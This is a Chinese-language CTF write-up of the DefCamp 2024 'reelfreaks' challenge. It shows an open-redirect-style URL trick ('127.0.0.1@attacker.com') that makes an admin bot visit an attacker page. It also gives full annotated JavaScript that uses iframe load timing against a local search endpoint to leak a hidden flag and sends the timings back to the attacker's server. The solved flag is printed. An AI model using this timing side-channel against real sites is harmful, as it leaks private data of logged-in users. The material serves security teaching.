CSRF攻击 + 观测iframe加载时间利用时间响应差异侧信道攻击 -- reelfreaks DefCamp 2024

参考: https://0x90r00t.com/2024/09/30/3708/
题目信息

复制代码
有些事情最好还是保持低调。当然,除非你是个真正的怪胎。
注意:该网站通过HTTPS提供服务
标志格式:DCTF{}

题目实现了一个类似视频网站的东西
在其提供的数据库中我们能看到被ban的视频,其名称为flag的值
被ban的东西只能由管理员查看

python 复制代码
if movie.banned != False and current_user.role != 'real_freak':
    movies.pop(i)

此处存在我们可以控制的url

python 复制代码
# 定义报告路由,处理 POST 请求,需要登录才能访问
@main.route('/report', methods=['POST'])
@login_required
def report():
    # 构建访问的 URL
    url = "https://127.0.0.1" + request.form.get('movie')
    # 创建一个新线程,调用 visit 函数访问该 URL
    thread = threading.Thread(target=visit,args=(url,))
    # 启动线程
    thread.start()
    return 'OK'

我们可以构造类似如下的有效负载

复制代码
https://127.0.0.1@attacker.com

当大文件被加载,其会产生一定的延迟,我们可以使用iframe观测其加载完成的时间
参考: https://0x90r00t.com/2024/09/30/3708/

html 复制代码
<body></body>
<script type="text/javascript">
// 定义所有可能用于破解flag的候选字符集(注意:字符 `_` 缺失,`` 可能存在排版错误)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';

// 存储每个字符的响应时间测量结果
let timings = {};

// 当前猜测的flag(初始值为占位flag,实际会通过时间分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';

// 当前正在测试的字符索引(按characters顺序遍历)
let charIndex = 0;

// 最大测试轮次(初始值为0,可能需要调整以增加准确性)
let maxRounds = 0;

// 根据记录的响应时间对字符排序(降序,时间越长排越前)
function getSortedKeysByTiming(timings) {
    return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}

// 向服务器发送日志(用于远程记录测试数据)
function log(message) {
    const xhr = new XMLHttpRequest();
    xhr.open("GET", "/?" + message); // 将数据通过GET参数发送
    xhr.send();
}

/**
 * 测量特定字符组合的响应时间
 * @param {string} char - 当前测试的字符
 * @param {string} flag - 当前猜测的完整flag(包含已确定字符+测试字符)
 */
function measureTiming(char, flag) {
    // 通过隐藏的iframe发起请求,测量加载时间
    const iframe = document.createElement('iframe');
    // 请求本地服务器接口,q参数携带猜测的flag
    iframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);
    document.body.appendChild(iframe);

    const startTime = performance.now(); // 记录精确的时间起点

    // 根据iframe加载结果更新计时数据
    iframe.onload = () => updateTiming(char, performance.now() - startTime);
    iframe.onerror = () => updateTiming(char, -1); // 错误时记录-1
}

/**
 * 更新字符计时数据并继续处理
 * @param {string} char - 被测试的字符
 * @param {number} time - 测量的响应时间(毫秒)
 */
function updateTiming(char, time) {
    // 仅保留最大时间值(假设正确字符会触发更长响应)
    if (!(char in timings) || time > timings[char]) {
        timings[char] = time;
    }
    log(`${char}: ${time}`); // 发送日志
    clearFrames();           // 清理iframe
    processNextChar();       // 处理下一个字符
}

// 清除所有iframe防止内存泄漏
function clearFrames() {
    document.body.innerHTML = ''; // 清空body内所有内容
}

/**
 * 主逻辑:按顺序测试每个字符,完成一轮后分析结果
 */
function processNextChar() {
    // 遍历所有候选字符
    if (charIndex < characters.length) {
        const currentChar = characters[charIndex];
        // 测试当前猜测flag+当前字符的组合(例如:"DCTF{a")
        measureTiming(currentChar, currentFlag + currentChar);
        charIndex++;
    } else {
        // 一轮完成,按响应时间排序字符
        const sortedKeys = getSortedKeysByTiming(timings);
        log('fini ' + sortedKeys.join(',')); // 上报结果

        // 如果还有剩余轮次,重置索引继续测试(可能需要多轮验证)
        if (maxRounds-- > 0) {
            charIndex = 0;
            processNextChar();
        }
    }
}

// 启动时间攻击
processNextChar();
</script>
相关推荐
愤怒火龙果10 小时前
蓝队笔记整理01 C2 远控与 Webshell 流量特征
笔记·网络安全
学逆向的10 小时前
C 宏函数
c语言·开发语言·网络安全
启博网络11 小时前
智慧档案库房工业组网:MR-1280 边缘大脑,实现温湿度、漏水、防火防盗设备智能联动教程
运维·网络·物联网·网络协议·网络安全·信息与通信·sdwan
学逆向的13 小时前
C 悬空指针
c语言·开发语言·网络安全
时代新威powertime1 天前
时代新威·视角|云计算平台中数据隐私保护机制的研究
网络安全·云计算
dk_tjy1 天前
迪康加密系统技术解析:驱动层透明加密的机制、策略与工程权衡
运维·安全·网络安全·终端安全管理·数据防泄漏
学逆向的1 天前
C 可变量参数
c语言·开发语言·网络安全
孙克旭_2 天前
文件包含漏洞
网络安全
其实防守也摸鱼2 天前
Cylab在线靶场——挑战图书馆初学者指南
服务器·前端·数据库·chrome·安全·网络安全·靶场
m0_715674432 天前
可视化易用·低误报率·跨区域部署:知源-AI数据分类分级系统在金融行业的落地实践
网络·安全·网络安全